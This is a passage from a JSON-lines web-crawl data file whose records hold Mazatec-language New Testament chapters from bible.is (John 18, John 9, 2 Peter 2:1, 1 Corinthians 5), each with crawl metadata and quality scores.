1.0000090599060059}","num_words":482,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye ko̱'sín kitsò Jesús, kijì‑ní, tji̱ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga kijì ya̱ ra ijngoa‑la̱ xa̱ngá ra 'mì Cedrón. Ya̱á tíjna jngo i̱'nde ñánda̱ kjìn sko̱ya yá tjítje̱; ko̱ ya̱á 'jaha'sen‑jin Jesús ko̱ jñà xi̱ta̱‑la̱ ra kotá'yá'ta‑la̱. 2Ko̱ jè Judas, xi̱ta̱ ra si̱ìnga̱tsja Jesús jñà xi̱ta̱ kondra̱‑la̱, ndaá bexkon jè i̱'nde ra̱kìi̱, nga̱ ki, kjín 'ka̱ ya̱ kjóxkóya Jesús ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱. 3'Koa̱á 'sín kjomà‑ni nga jè Judas ijchò ya̱ i̱'nde ra̱kìi̱; jngo jtín ma chíchàn tji̱ko̱, ti̱'koa̱ tji̱ko̱ i'ka jñà xi̱ta̱ ra síkinda̱ jè i̱ngo̱ ítjòn, jñà ra isìkasén jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ jñà xi̱ta̱ fariseo. 'Ya ki̱cha̱ kjo̱jchán ko̱ 'ya ni'í isen ko̱ ni'í ínicha. 4Tanga jè Jesús, nga̱ ijyeé be mé kjoa̱ ra ko̱ka̱ma'tin, jè tsasichjà ítjòn‑la̱ nga iskonangi‑la̱ jñà xi̱ta̱ kìi̱, kitsò‑la̱: ―¿Yá xi̱ta̱ ra fatsji jiòn? 5Jñà xi̱ta̱ kìi̱ kiìchja̱ kitsò: ―Jè fatsji‑ji̱n jè Jesús ra ya̱ Nazaret i̱'nde‑la̱. 'Kia̱á kitsò‑la̱ Jesús: ―'A̱n‑náa̱. Ya̱á síjnajin‑la̱ jñà xi̱ta̱ kìi̱ jè Judas, jè ra kitsjà‑la̱ í'tsi̱n Jesús nga kisìnga̱tsja xi̱ta̱ kondra̱‑la̱. 6'Kia̱ nga kitsò Jesús: \"'A̱n‑náa̱\", xi̱ta̱ kìi̱ ngi kijì‑ni í'tsi̱n, iskatsajo'tá ya̱ nangi. 7Jesús india iskonangi‑la̱, kitsò‑la̱: ―¿Yá ra fatsji jiòn? 'Kia̱á kitsò xi̱ta̱ kìi̱: ―Jè fatsji‑ji̱n jè Jesús ra ya̱ Nazaret i̱'nde‑la̱. 8Jesús india kitsò‑ila̱ jñà xi̱ta̱ kìi̱: ―Ijyeé ko̱kàxin‑najiòn nga 'a̱n‑náa̱. Tsa 'a̱n‑ná ra fatsji‑nájiòn, ti̱'nde‑la jñà xi̱ta̱ kìi̱ nga katafì‑ni. 9Kií ko̱'sín kjomà‑ni mé‑ni nga itjasòn‑ni jè 'én ra kiìchja̱ Jesús nga ti̱'sa̱ ítjòn, 'kia̱ nga kitsò: \"Na̱'ìn, jñà xi̱ta̱ ra ji̱ ki'tsí‑ná, ni̱jngo ichijà.\" 10Jè Simón Pedro 'yaá jngo ki̱cha̱ ndajò; tsachrje ki̱cha̱‑la̱ nga tsajá‑la̱ jè xi̱ta̱ chi̱'nda‑la̱ na̱'mì ítjòn, jè ra 'mì Malco; tsate'tà chíká nga kixi̱‑la̱. 11Jè Jesús kitsò‑la̱ jè Pedro: ―Tjajnatjo‑ni ki̱cha̱‑li. Tsa jè Na̱'ìn‑na̱ ko̱'sín mejèn‑la̱ nga ko̱tjín kjo̱hi'in ra ko̱to‑jiaa̱n, ¿a mí tsa tjínè‑la̱ nga sìhitjásòo̱n? 12Jñà chíchàn ko̱ jè xi̱ta̱ ra tíjna ítjòn‑la̱, ko̱ jñà xi̱ta̱ ra síkinda̱ jè i̱ngo̱ ítjòn itsabá'ñó jè Jesús ko̱ a̱kjòn inchà na'ñó. 13Ya̱á iko̱ ítjòn ya̱ ni'ya‑la̱ xi̱ta̱ ra 'mì Anás, ta nga̱tjì‑la̱ níxáyaá ma jè Caifás. Jè xi̱ta̱ ra 'mì Caifás, na̱'mì ítjòn tíjna jè nó 'kia̱ nga ko̱'sín kjomà kjoa̱ kìi̱. 14Jè‑ní Caifás ra ijye a̱sa ko̱ kitsò‑la̱ jñà xi̱ta̱ judío nga isa̱á nda‑ni nga ta jngo xi̱ta̱ katiyatjì ngajo‑la̱ jè na̱xi̱ndá. 15Jè Simón Pedro kijìtji̱ngií‑la̱ Jesús ko̱ ìjngo‑isa xi̱ta̱ ra ti̱'koa̱ ya̱ kotá'yá'ta‑la̱. Jè xi̱ta̱ ra̱kìi̱, ndaá bexkon jè na̱'mì ítjòn ko̱ 'jaha'sen‑ko̱ó Jesús ya̱ ndi̱tsin ni'ya‑la̱ na̱'mì ítjòn. 16Tanga jè Pedro ya̱á tsikijna'ta ya̱ xo̱tjo̱ba̱‑la̱ ni'ya ya̱ ndi̱tsiaán. Jè xi̱ta̱‑la̱ Jesús ra nda bexkon jè na̱'mì ítjòn, itjo‑ní nga tsakáko̱ jè chjo̱ón ra síkinda̱ jè xo̱tjo̱ba̱ ni'ya a̱kjòn isìkjaha'sen jè Pedro. 17Jè chjo̱ón ra síkinda̱ ya̱ xo̱tjo̱ba̱ ni'ya iskonangií‑la̱ jè Pedro, kitsò‑la̱: ―Ngaji̱, ¿a mí tsa ti̱'koa̱ ya̱ chitá'yá'ta‑la̱ jè xi̱ta̱ ra̱kìi̱? Jè Pedro kitsó‑ní: ―Majìn, mì tsa ya̱ fìtji̱ngi‑la̱ ra 'a̱n. 18Jñà xi̱ta̱ chi̱'nda ko̱ jñà xi̱ta̱ ra síkinda̱ ya̱ i̱ngo̱, ni'í tsikítse; tjítsa̱'ngi‑ní nga̱ ni̱chjin 'nchán 'kia̱. Ti̱'koa̱á jè Pedro ya̱á tíjna'ngi‑te. 19Jè na̱'mì ítjòn tsikí'tsia̱ nga iskonangi‑la̱ Jesús a̱'ta 'tse̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ko̱ a̱'ta 'tse̱ 'én ra bakón‑ya. 20'Kia̱á kiìchja̱ Jesús kitsò‑la̱: ―'A̱n, tsáse̱n masen‑ná nga kíchjàa̱ ya̱ a̱jin‑la̱ nga'tsì xi̱ta̱ i̱sà'nde; kji'tá ni̱chjin tsakon‑yá ya̱ ndi̱tsin i̱ngo̱ ítjòn ko̱ ya̱ ñánda̱ nga maxkóya jñà xi̱ta̱ Judío, ko̱ ni̱jngo 'én ra kíchjà'ma. 21¿Mé‑ni 'a̱n chjinangi‑ná? Jñà chji̱nangi‑la̱ jñà xi̱ta̱ ra kií'nchré; jñà ko̱katatsò kótsò 'én ra 'a̱n tsakon‑yá‑la̱; jñà xi̱ta̱ kìi̱, ijyeé ndaá tjíjin‑la̱. 22'Kia̱ nga ko̱kitsò jñà 'én kìi̱ Jesús, jngo xi̱ta̱ ra síkinda̱ i̱ngo̱ 'ja nga isìjtsin'á jè Jesús, kitsò‑la̱: ―¿Mé‑ni ko̱'sín tsò 'én ra nakjoá‑ila̱ jè na̱'mì ítjòn? 23'Kia̱á kitsò Jesús: ―Tsa 'choó tsò 'én ra kàchjà, ko̱'tín‑ná mé‑ni nga 'cho tsò‑ni; ko̱ tsa ndaá tsò, ¿mé‑ni nga tji'bé‑ná? 24Jè Anás 'kia̱á isìkasén jè Jesús tjí'ta‑la̱ na'ñó, ya̱ ñánda̱ tíjna jè Caifás jè ra na̱'mì ítjòn tíjna. 25Jè Pedro takó ya̱á síjna nga síjna'ngi ya̱ ñánda̱ nga tjítse jè ni'í. Jñà xi̱ta̱ iskonangií‑la̱ kitsò‑la̱: ―¿A mí tsa ti̱'koa̱ ya̱ chitá'yá'ta‑la̱ jè xi̱ta̱ ra̱kìi̱? Jè Pedro tsikí'ma‑ní kitsò: ―Majìn‑jìn, mì tsa 'a̱n jiàa̱n. 26'Kia̱á jngo xi̱ta̱ chi̱'nda‑la̱ na̱'mì ítjòn ra xákjién ma jè xi̱ta̱ ra tsate'tà chíká‑la̱ jè Pedro, iskonangií‑la̱ kitsò‑la̱: ―¿A mí tsa ji̱ ra kàbè‑la nga tje̱n‑ki̱ jè Jesús ya̱ a̱ngi yá ján? 27Jè Pedro india tsakja'ma‑ni, ko̱ ti̱'kia̱á‑ni nga iskindaya jè káxtí. 28Jñà xi̱ta̱ kiìko̱ kjòn‑ni ya̱ ni'ya‑la̱ Caifás jè Jesús skanda ijchòko̱ ya̱ ñánda̱ tíjna ni'ya masen‑la̱ 'tse̱ xi̱ta̱xá ítjòn 'tse̱ Roma. Ijyeé tí'se i̱sén ko̱ jñà xi̱ta̱ judío mì kì 'jaha'sen ya̱ ni'ya masen, nga̱ kijtsexkón ijo‑la̱ mé‑ni nga ma ko̱kje̱n‑ni a̱'ta 'tse̱ 'sí paxko̱. 29'Koa̱á 'sín kjomà‑ni jè Pilato ra xi̱ta̱xá ítjòn tíjna, itjo nga kitsò‑la̱ jñà xi̱ta̱ kìi̱: ―¿Mé kjoa̱ ra fangi‑no jè xi̱ta̱ ra̱kìi̱? 30Jñà xi̱ta̱ judío kiìchja̱‑ní kitsò: ―Mí‑la ta chjàn ji̱ i̱nchinìnga̱tsja‑laji̱n, tsa mì mé jé tjín‑la̱. 31Jè Pilato kitsó‑la̱: ―Tahíko̱o, ko̱ jiòn tindajín‑la koni 'sín tíjna kjo̱téxoma tsa̱jiòn. Tanga jñà xi̱ta̱ judío kitsó‑ní: ―Ngàji̱n‑ji̱n, mì kì tjí'nde‑naji̱n nga taxki̱ si̱'ken‑ji̱n jngo xi̱ta̱. 32'Koa̱á 'sín ma‑ni nga itjasòn jñà 'én ra ijye kiìchja̱ Jesús 'kia̱ nga tsi'kéna̱jmí kó'sín ko̱ma'tin 'kia̱ nga ki̱yá. 33Jè Pilato india 'jaha'sen‑ni ya̱ ni'ya masen, kiìchja̱‑la̱ Jesús kitsò‑la̱: ―¿A ji̱‑níi̱ jè xi̱ta̱xá ítjòn‑la̱ jñà xi̱ta̱ judío? 34Jesús kitsó‑la̱: ―¿A ta kjo̱bítsjen tsa̱ji‑ní nga ko̱'sín nga tjisi, o̱ ra kj'ií xi̱ta̱ tsi'kéna̱jmí‑li ra a̱'ta tsa̱'a̱n? 35Jè Pilato kiìchja̱ kitsò: ―Mì tsa xi̱ta̱ judío‑jiàa̱n ra 'a̱n. Ti̱jñá‑ni xi̱ta̱ na̱xi̱ndá‑li ko̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ra kà'fiìkó‑li nga 'a̱n kásínga̱tsja‑na ra ji̱. ¿Mé kjoa̱ ra ki'nì? 36Kiìchja̱á Jesús kitsò: ―Mì tsa i̱ i̱sà'nde tjínè‑la̱ nga kotexóma. Tsa 'koa̱à‑la 'sín tjín, 'se̱áa‑na xi̱ta̱ ra ska̱jàn‑tjì‑na mé‑ni nga mì ya̱ ko̱nga̱tsja‑na jñà xi̱ta̱ judío. Tanga mì tsa i̱ tjínè‑la̱ nga kotexóma. 37Jè Pilato india iskonangií‑la̱ nga kitsò‑la̱: ―¿A kja̱ xi̱ta̱xá ítjòn‑níi̱ ra ji̱? 'Kia̱á kitsò Jesús: ―Ji̱í ra ko̱si nga xi̱ta̱xá ítjòn‑ná. 'A̱n kií xá kitsin‑naa̱ ko̱ kií xá 'jíi̱‑na i̱ i̱sà'nde nga ko̱'sín 'kena̱jmíya kó'sín nga tjín ra ngi kjo̱hixi̱. Ko̱ nga'tsì jñà xi̱ta̱ ra a̱'ta 'tse̱ kjo̱hixi̱ fì'ta‑la̱, 'nchré‑ní nga'tsì jñà 'én ra 'a̱n chjàa̱. 38Jè Pilato kitsó‑ní: ―¿Mé ra 'mì kjo̱hixi̱? 'Kia̱ nga ijye ko̱'sín iskonangi jè Pilato, 'kia̱á itjo nga tsakáko̱ jñà xi̱ta̱ judío nga kitsò‑la̱: ―Ni̱mé jé ra sakó‑na nga a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱. 39Tanga 'koa̱á 'sín 'ya jiòn 'kia̱ nga bitjo 'sí paxko̱ nga níkíjnandi̱í jngo‑no xi̱ta̱ ra tísíkjiín kjo̱hi'in nga tíjnaya nda̱yá. ¿'Ndi̱ 'ndi̱ a mején‑nájiòn nga jè síkíjnandi̱í‑na jè Xi̱ta̱xá Ítjòn‑la̱ xi̱ta̱ judío? 40Nga'tsì jñà xi̱ta̱ 'ñó kiìchja̱ india‑ni nga kitsò: ―Majìn‑naji̱n nga jé Jesús katijnandi̱í‑ni, jé mejèn‑naji̱n nga jè Barrabás katijnandi̱í‑ni. Ko̱ jè xi̱ta̱ ra 'mì Barrabás xi̱ta̱ chijé‑ní.\nSan Juan 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/18","date":"2013-12-11T05:07:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164031727\/warc\/CC-MAIN-20131204133351-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":1074,"character_repetition_ratio":0.086,"word_repetition_ratio":0.004,"special_characters_ratio":0.243,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga tífì Jesús kijtseé jngo xi̱ta̱ xka̱ ra xá ko̱'sín kitsin‑ni nga mì kì tsijen‑la̱. 2Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús iskonangií‑la̱, kitsò‑la̱: ―Maestro, ¿mé‑ni ko̱'sín xka̱ kji ndí xi̱ta̱ ra̱kìi̱? ¿Yá ra tsakátsji‑jé, a jñà xi̱ta̱ jchínga‑la̱, o̱ ra jè tsakátsji-jé‑la̱ ijo‑la̱? 3Jesús kitsó‑la̱: ―Mì tsa jè tsakátsji-jé‑la̱ ijo‑la̱ ko̱ mì tsa jñà xi̱ta̱ jchínga‑la̱ tsakátsji‑jé. Ta kií ko̱'sín kitsin‑ni mé‑ni nga jcha̱‑la̱ kjo̱xkón ra 'si̱in Nainá ra a̱'ta 'tse̱. 4'Kia̱ nga ni̱chjin‑isa, machjeén‑ní nga kokoo̱n kjo̱xkón ra 'sín jè ra isìkasén‑na; machraña‑ní nga ko̱jñò ko̱ mì ti̱ ma ko̱xá‑ni. 5'Kia̱ nga tíjna̱‑isa i̱ i̱sà'nde 'a̱n‑ná ni'í ra síhisen‑la̱ xi̱ta̱ i̱sà'nde. 6'Kia̱ nga ijye ko̱kitsò, tsikíchrá ya̱ a̱'ta nangi, tsikínda i̱tsé ndási nga isíkójin ndána̱chrá‑la̱, a̱kjòn isìngaàngi ya̱ xko̱n jè ndí xi̱ta̱ xka̱. 7Ko̱ a̱kjòn kitsò‑la̱: ―'Tin, ya̱ tiki̱níjni xkìn ñánda̱ tíjna chrjó nandá ra 'mì Siloé. (Siloé, jè ra nikasén tsò‑ni.) Jè ndí xi̱ta̱ xka̱ kijí‑ní, ko̱ tsiníjnoó xko̱n, 'kia̱ nga ijye tsáfa‑ni ijyeé tsijen‑ila̱. 8Jñà xi̱ta̱ ra tjítsa̱hijyo ya̱ chraña ni'ya‑la̱ ko̱ xi̱ta̱ ra ijye kjotseé bexkon nga to̱n síjé kjo̱tjò, kitsó‑la̱ xákjién: ―¿A mí tsa jè xi̱ta̱ ra̱kìi̱ ra ta ko̱'sín bijna nga síjé kjo̱tjò to̱n? 9Tjín ra tsò: ―Kja̱ jé‑ní. Ti̱'koa̱á kitsó i'ka: ―Ni̱'sín kja̱meé ko̱'ki, tanga mí‑la tsa jè‑jìn. Ko̱ jè xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Kja̱ 'a̱án‑ná. 10Jñà xi̱ta̱ iskonangií‑la̱, kitsò‑la̱: ―¿Kó'sín ma‑ni nga itjá'xa̱ngi‑ni xkìi̱n? 11Jè xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Jè xi̱ta̱ ra 'mì Jesús, tsikínda ndási nga isìngaàngi xkoàa̱n, a̱kjòn kitsò‑na: \"'Tin, ya̱ tiki̱níjno‑ni xkìn ya̱ ñánda̱ tíjna chrjó nandá ra 'mì Siloé.\" 'A̱n kijí‑ná, ko̱ 'kia̱ nga ijye tsiníjnoo̱ xkoàa̱n, maá tsatsíjen‑na. 12Jñà xi̱ta̱ 'kia̱á iskonangi‑la̱: ―¿Ñánda̱ tíjna xi̱ta̱ ra ko̱'mì‑la̱ ji̱? Jè xi̱ta̱ ra kjonda‑ni, kitsó‑ní: ―Mì kì be jiàa̱n. 13Ko̱ 'kia̱á kiìko̱ jè xi̱ta̱ ra ijye itjá'xa̱ngi‑ni xko̱n ya̱ ñánda̱ tjítsa̱jna jñà xi̱ta̱ fariseo, 14tà nga̱tjì‑la̱ nga ni̱chjin níkjáya‑ní 'kia̱ nga tsikínda ndási jè Jesús nga iskí'xa̱ngi‑ni xko̱n jè xi̱ta̱ ra xka̱ tsiki. 15Jñà xi̱ta̱ fariseo ìjngo 'ká iskonangi‑ila̱ jè xi̱ta̱ ra ijye kjonda‑ni, kitsò‑la̱: ―¿Kó'sín kjomà‑ni nga itjá'xa̱ngi‑ni xkìi̱n? Xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Ndásií tsjahíngi xkoàn; 'a̱n ikiníjnò‑ná; ko̱ 'ndi̱, ijyeé tsijen‑ina. 16Tjín i'ka jñà xi̱ta̱ fariseo ra kitsò: ―Xi̱ta̱ ra ko̱'sín ki'siòo̱n, mì‑la tsa 'tse̱ Nainá nchrabá‑ni, nga̱ mì kì bexkón jè ni̱chjin níkjáya. Ko̱ tjín i'ka ra kitsò: ―¿Kó'sín ma‑ni nga kjomà‑la̱ ki'sìn kjo̱xkón ra nda tjióo̱n tsa xi̱ta̱ jé‑ní? Kjòjòyaá jñà xi̱ta̱ kìi̱ nga mì kì kjóngásòn kjo̱bítsjen‑la̱. 17India iskonangi‑ila̱ jè xi̱ta̱ ra xka̱ tsiki: ―¿Kósii̱ ra ji̱, yá xi̱ta̱‑ni ra iskí'xa̱ngi‑ni xkìn? Jè xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Jngoó xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá. 18Tanga jñà xi̱ta̱ judío mì kì kjokjiín‑la̱ tsa xka̱á xi̱ta̱ ra̱kìi̱ tsiki, ko̱ nga ijyeé tsijen‑ila̱ 'ndi̱‑ni̱. 'Kia̱á kiìchja̱‑la̱ jñà xi̱ta̱ jchínga‑la̱ 19nga iskonangi‑la̱, kitsò‑la̱: ―¿A jè ra̱kìi̱, ra i'ndí‑no ma? ¿A 'koa̱á 'sín bixó jiòn nga xka̱á 'ki 'kia̱ nga ti̱'sa̱ kitsin? ¿Ko̱ kó'sín ma‑ni 'ndi̱‑ni̱ nga ijye tsijen‑ila̱? 20Jñà xi̱ta̱ jchínga‑la̱ xi̱ta̱ ra̱kìi̱, kitsò‑nì: ―'Ya‑náji̱n nga jè ra̱kìi̱ ra i'ndí‑na̱ji̱n, ko̱ kixi̱í kjoa̱, xka̱á 'ki 'kia̱ nga ti̱'sa̱ kitsin. 21Tanga mì kì 'ya‑ji̱n kó'sín ma‑ni nga ma tsijen‑ila̱ 'ndi̱, ko̱ yá ra iskí'xa̱ngi‑ni xko̱n. Jè chji̱nangi sabà‑la, nga̱ ijyeé xi̱ta̱ jchínga‑ní; jè ra ma ko̱ki̱tso̱‑no. 22Kií ko̱ kitsò‑ni jñà xi̱ta̱ jchínga‑la̱, nga̱ jñá kitsakjòn‑la̱ jñà xi̱ta̱ judío, nga̱ jñà xi̱ta̱ judío ijyeé tsajo̱óya‑ni nga jngo kjá ki̱tjokajiín ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío tsa yá ra ko̱ 'sín ki̱tso̱ nga jè Jesús, jè‑ní ra Cristo [ra xá Nainá isìkasén‑ni]. 23Kií ko̱ kitsò‑ni, nga kitsò: \"Jè chji̱nangi sabà‑la nga̱ ijyeé xi̱ta̱ jchínga‑ní.\" 24Ko̱ jñà xi̱ta̱ judío kiìchja̱ india‑ila̱ jè xi̱ta̱ ra xka̱ tsiki. Kitsò‑la̱: ―Ko̱'tìn kixi̱‑náji̱n ya̱ ngixko̱n Nainá. Ngaji̱n, ijyeé 'ya‑náji̱n nga jè xi̱ta̱ ra̱kìi̱, xi̱ta̱ jé‑ní. 25Jè xi̱ta̱ ra ijye kjonda‑ni, kitsó‑ní: ―Mì kì be ra 'a̱n a xi̱ta̱ jé‑ní. Ta jé‑ní ra be nga xi̱ta̱ xka̱á‑ná tsiki, ko̱ 'ndi̱, maá kotsíjen‑ina. 26India iskonangi‑ila̱, nga kitsò‑la̱: ―¿Mé ra isìko̱ kjòn‑li? ¿Kó'sín ki'sìn nga ma iskí'xa̱ngi‑ni xkìn? 27Jè xi̱ta̱ ra̱kìi̱ kitsò‑la̱: ―Ijyeé kjokjìn 'ka̱ ko̱xin‑najiòn, tanga mì kì makjiín‑no. ¿Mé‑ni nga mejèn‑najiòn ko̱xin india‑no? ¿A ti̱'koa̱á mejèn‑no ya̱ chitá'yá'ta‑te‑la? 28Jñà xi̱ta̱ judío, kiìchja̱jno‑la̱ jè ndí xi̱ta̱ ra̱kìi̱, kitsò‑la̱: ―Ji̱í‑li ra ya̱ chitá'yá'ta‑la̱, tanga ra ji̱n, kjo̱téxoma‑la̱ Moisés chitá'yá‑ji̱n. 29'Ya‑náji̱n nga jè sabà Nainá kiìchja̱‑la̱ Moisés, tanga jè xi̱ta̱ ra̱kìi̱ nda mí 'ya‑ji̱n ñánda̱ 'ji‑ni. 30Jè xi̱ta̱ ra̱kìi̱ kitsó‑la̱: ―Jè ra̱kìi̱ ra tà maxkón‑ná. Jiòn, mì kì 'ya ñánda̱ 'ji‑ni, tanga 'a̱n iskí'xa̱ngi‑ni xkoàa̱n. 31Ndaá 'yeé, nga jè Nainá mì kì 'nchré‑la̱ jñà xi̱ta̱ ra jé tjín‑la̱; ta jñá 'nchré‑la̱ jñà xi̱ta̱ ra bexkón ko̱ síhitjasòn koni 'sín mejèn‑la̱ ra jè. 32Skanda ti̱'sa̱ kjotseé, kjè sa jngo na̱'ya‑la̱ xi̱ta̱ ra ma‑la̱ kjí'xa̱ngi‑ni xko̱n, jngo xi̱ta̱ ra xka̱ skanda nga ti̱'sa̱ kitsin. 33Tsa mí‑la tsa Nainá isìkasén xi̱ta̱ ra̱kìi̱, ni̱mé‑la ra ko̱ma‑la̱ ko̱'sín 'si̱in. 34Jñà xi̱ta̱ judío, kitsó‑la̱: ―Ji̱ ra 'ñó tse jé kitsin‑jíi̱n, ¿a ji̱í mejèn‑li nga ko̱kón‑ya‑náji̱n? A̱kjòn tsachrje ya̱ i̱ngo̱ sinagoga. 35Jè Jesús kií'nchré‑ní nga jngó kjá inachrjekàjin xi̱ta̱ ra̱kìi̱ ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío ko̱ 'kia̱ nga kiskàjin india‑ni kitsó‑la̱: ―Ji̱, ¿a makjiín‑li ra a̱'ta 'tse̱ jè ra I'ndí‑la̱ Xi̱ta̱ tsò‑la̱ ijo‑la̱? 36Xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Na̱'ìn, ko̱'tín‑ná yá‑ni, mé‑ni nga ma ko̱kjiín‑na nga̱'ta 'tse̱. 37Jesús kitsó‑la̱: ―Ijye tji'ya‑ní, ko̱ 'a̱án jnchro ra tíbakóna̱jmí‑la. 38Jè xi̱ta̱ ra̱kìi̱ 'kia̱á tsasèn-xkó'nchi'ta‑la̱ Jesús nga kijtsexkón, kitsò‑la̱: ―Ji̱ Na̱'ìn, makjiín‑na ra a̱'ta tsa̱ji. 39Jesús a̱kjòn kitsò‑la̱: ―'A̱n kií xá 'jíi̱‑na i̱ i̱sà'nde nga 'a̱n skosòn‑la̱ kó'sín katama, mé‑ni nga jñà xi̱ta̱ ra xka̱ tjá'xa̱ngií‑ni xko̱n, ko̱ nga kataxka̱ jñà xi̱ta̱ ra tsijen‑la̱. 40Jñà xi̱ta̱ fariseo ra ya̱ tjítsa̱jnako̱ i'ka Jesús, 'kia̱ nga kií'nchré jñà 'én kìi̱, iskonangi‑ní nga kitsò: ―Ngàji̱n, ¿a ti̱'koa̱á xka̱á‑te kjòn‑ji̱n? 41Jesús kitsó‑la̱: ―Tsa xka̱á‑la kjòn jiòn mí‑la tsa mé ska̱nè jé‑no a̱'ta 'tse̱ jé ra tjín‑no. Tanga 'kia̱ nga bixó jiòn: \"Tsijeén‑naji̱n\", 'koa̱á 'sín ma‑ni nga ya̱ kjìnè‑no jé ra tjín‑no.\nSan Juan 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/9","date":"2013-12-12T14:04:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164607702\/warc\/CC-MAIN-20131204134327-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":946,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱ i̱jiìn na̱xa̱ndá Israel kis'e xi̱ta̱ ndiso xi kitsò nga 'én‑la̱ Nainá kiìchja̱ya, ta̱nga mìtsà kixi̱ kjoa̱. I̱t'aà tsa̱jòn, k'oa̱á ti̱s'ín s'e̱ xi̱ta̱ ndiso xi ko̱kòya'ma kjo̱hítsjeèn xi síkits'ón‑jiìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá, skanda ko̱chrjengui jè Na̱'èn‑ná xi tsibíchjítjì‑ná. K'oa̱á ma‑ne nga jñà xi̱ta̱ koi, ti̱jñà nchihótsji‑la̱ kjoa̱biyaà yijo‑la̱ nga ta ni̱to̱ón jchi̱ja.\n2 Pedro 2:1\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/1","date":"2013-12-08T21:48:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163818502\/warc\/CC-MAIN-20131204133018-00084-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000053644180298}","num_words":56,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jye na'yà‑la̱ nga kjoa̱chijngui tíma i̱jiìn tsa̱jòn. Kjoa̱ xi tíma, skanda jñà xi̱ta̱ xi mìkiì beèxkón Nainá, mì k'oa̱á s'ín. Nga ya̱á tíjnajiìn jngoò‑nò xi̱ta̱ xinguio̱o xi nea̱jòn‑la̱ tsóhoko̱. 2Jñò, ¿mé‑ne 'nga nìkítsa̱jna‑nò yijo‑nò? Mochjeén‑né nga kjoa̱ba ki̱tsa̱jnajñoò, ko̱ jè xi̱ta̱ xi ko̱tjín jé tíhótsji, ti̱nachrjekàjioòn. 3'A̱n, kixi̱í kjoa̱, kjiìn tìjna̱‑nò, ta̱nga kjo̱hítsjeèn‑la̱ ini̱ma̱‑na̱ ya̱á tíjnajiìn osen‑nò. 'A̱n, k'oa̱á ngaya‑la̱ koni tsà ya̱ tìjna̱jiìn‑nò, jyeé kiskoòsòn‑la̱ mé kjo̱'in xi si̱nè‑la̱ jè xi̱ta̱ xi k'oa̱ tjín jé tíhótsji. 4Jñò, k'e̱ nga ko̱xkóya nga jeya si̱kíjna Jesucristo xi otíxoma‑ná, jè kjo̱hítsjeèn‑la̱ ini̱ma̱‑na̱ ya̱á kíjnajiìn‑nò, ti̱koa̱ ya̱á kíjnajiìn‑nò jè nga'ñó‑la̱ Na̱'èn‑ná Jesucristo. Ko̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo, 5xi̱ta̱ jè, xi̱ta̱ nei̱í kàtanga̱tsja yijo‑la̱ nga kàtas'e‑la̱ kjo̱'in, ko̱ kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne mé‑ne nga ki̱tjokàjiìn‑ne kjo̱'in ini̱ma̱‑la̱, k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná. 6Mìkiì ndaà tjín nga 'nga nìkítsa̱jna yijo‑nò. ¿A mì tíjiìn‑nò nga na̱s'ín ta̱ chiba na̱'yo̱ san sísan yije xíkjín na̱'yo̱? 7Ti̱nachrjekàjioòn jè xi̱ta̱ xi ótsji jé k'oa̱á ngaya‑la̱ koni tsà na̱'yo̱ san xi mì ti̱ ndaà‑ne nga síkits'ón‑nò, mé‑ne jñò k'oa̱s'ín kjoàn ko̱ma‑nò koni na̱'yo̱ xi̱tse̱ ts'e̱ i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san. Nga jñò, jyeé kitjaàxìn‑nò kjoa̱ ts'e̱ jé koni na̱'yo̱ san jchínga nga jè Cristo k'en ngajo‑ná koni jñà orrè xi kisìk'en xi̱ta̱ Israel k'e̱ nga Paxko̱. 